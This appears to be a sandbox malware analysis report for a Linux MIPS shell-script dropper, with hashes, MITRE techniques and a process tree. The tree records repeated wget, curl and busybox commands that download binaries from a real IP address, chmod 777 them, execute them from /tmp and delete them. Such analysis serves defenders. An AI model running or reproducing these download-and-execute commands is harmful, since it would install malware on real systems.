970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb

Analysis

max time kernel
150s
max time network
156s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/11/2024, 02:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb.sh
Size 10KB
Sample241111-c85j7azpew
SHA256 970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb
MD5 627a74dd29162a1ea15de4813776cb5a
SHA1 482e1ad8155e7e7abbb395e61d96b76f72496cf0
SHA512 d85cbebdce8494b03b16efe2ffd1e9560005a78430fa54ea5bac8708a4098fe20e65eadbda58d5fdb4d8f53c452d300f14333535bc6df551d311f327dc36e2ff
SSDEEP 192:YDUsrEyBJT5cEFBqmiSofkGuFBqmiSNsrEyBJN5:YUsrEyBJT5cJpMaqsrEyBJn
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 23 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
862	chmod
880	chmod
886	chmod
898	chmod
917	chmod
752	chmod
775	chmod
802	chmod
808	chmod
868	chmod
874	chmod
892	chmod
904	chmod
923	chmod
929	chmod
935	chmod
730	chmod
736	chmod
826	chmod
850	chmod
856	chmod
910	chmod
941	chmod

Executes dropped EXE 22 IoCs

Reads runtime system information 23 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
822	busybox
830	rm
932	wget
933	curl
936	4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
937	rm
811	wget
813	curl
827	4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
934	busybox

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe	curl
File opened for modification	/tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr	curl
File opened for modification	/tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt	curl
File opened for modification	/tmp/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB	curl
File opened for modification	/tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ	curl
File opened for modification	/tmp/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG	curl
File opened for modification	/tmp/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu	curl
File opened for modification	/tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr	curl
File opened for modification	/tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5	curl
File opened for modification	/tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe	curl
File opened for modification	/tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG	curl
File opened for modification	/tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ	curl
File opened for modification	/tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f	curl
File opened for modification	/tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ	curl
File opened for modification	/tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG	curl
File opened for modification	/tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5	curl
File opened for modification	/tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f	curl
File opened for modification	/tmp/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq	curl
File opened for modification	/tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt	curl
File opened for modification	/tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ	curl
File opened for modification	/tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ	curl
File opened for modification	/tmp/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu	curl
File opened for modification	/tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ	curl

/tmp/970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb.sh
/tmp/970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:729
- /bin/chmod
  chmod 777 xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  ./xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:732
- /usr/bin/wget
  wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:735
- /bin/chmod
  chmod 777 VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  ./VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:738
- /usr/bin/wget
  wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:739
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:743
- /bin/chmod
  chmod 777 zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  ./zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:757
- /usr/bin/wget
  wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:770
- /bin/chmod
  chmod 777 UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  ./UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:779
- /usr/bin/wget
  wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:780
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:801
- /bin/chmod
  chmod 777 qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  ./qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:804
- /usr/bin/wget
  wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:807
- /bin/chmod
  chmod 777 x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  ./x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:810
- /usr/bin/wget
  wget http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:811
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:822
- /bin/chmod
  chmod 777 4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  ./4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:827
- /bin/rm
  rm 4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:830
- /usr/bin/wget
  wget http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:849
- /bin/chmod
  chmod 777 rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  ./rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:852
- /usr/bin/wget
  wget http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:855
- /bin/chmod
  chmod 777 bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  ./bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  PID:861
- /bin/chmod
  chmod 777 mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  ./mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  PID:867
- /bin/chmod
  chmod 777 sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  ./sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  PID:870
- /usr/bin/wget
  wget http://216.126.231.240/bins/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  PID:873
- /bin/chmod
  chmod 777 iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  ./iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  PID:876
- /usr/bin/wget
  wget http://216.126.231.240/bins/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  PID:879
- /bin/chmod
  chmod 777 fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  ./fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  PID:882
- /usr/bin/wget
  wget http://216.126.231.240/bins/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  PID:885
- /bin/chmod
  chmod 777 p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  ./p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  PID:888
- /usr/bin/wget
  wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:891
- /bin/chmod
  chmod 777 UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  ./UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:894
- /usr/bin/wget
  wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:897
- /bin/chmod
  chmod 777 xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  ./xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:900
- /usr/bin/wget
  wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:903
- /bin/chmod
  chmod 777 VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  ./VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:906
- /usr/bin/wget
  wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:909
- /bin/chmod
  chmod 777 zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  ./zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:912
- /usr/bin/wget
  wget http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:916
- /bin/chmod
  chmod 777 bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  ./bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:919
- /usr/bin/wget
  wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:922
- /bin/chmod
  chmod 777 qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  ./qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:925
- /usr/bin/wget
  wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:928
- /bin/chmod
  chmod 777 x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  ./x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:931
- /usr/bin/wget
  wget http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:932
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  ./4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:936
- /bin/rm
  rm 4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:937
- /usr/bin/wget
  wget http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:940
- /bin/chmod
  chmod 777 rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - File and Directory Permissions Modification
  PID:941

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr

Path /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr	731	xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
/tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt	737	VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
/tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe	754	zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
/tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ	776	UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
/tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5	803	qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
/tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG	809	x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
/tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ	827	4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
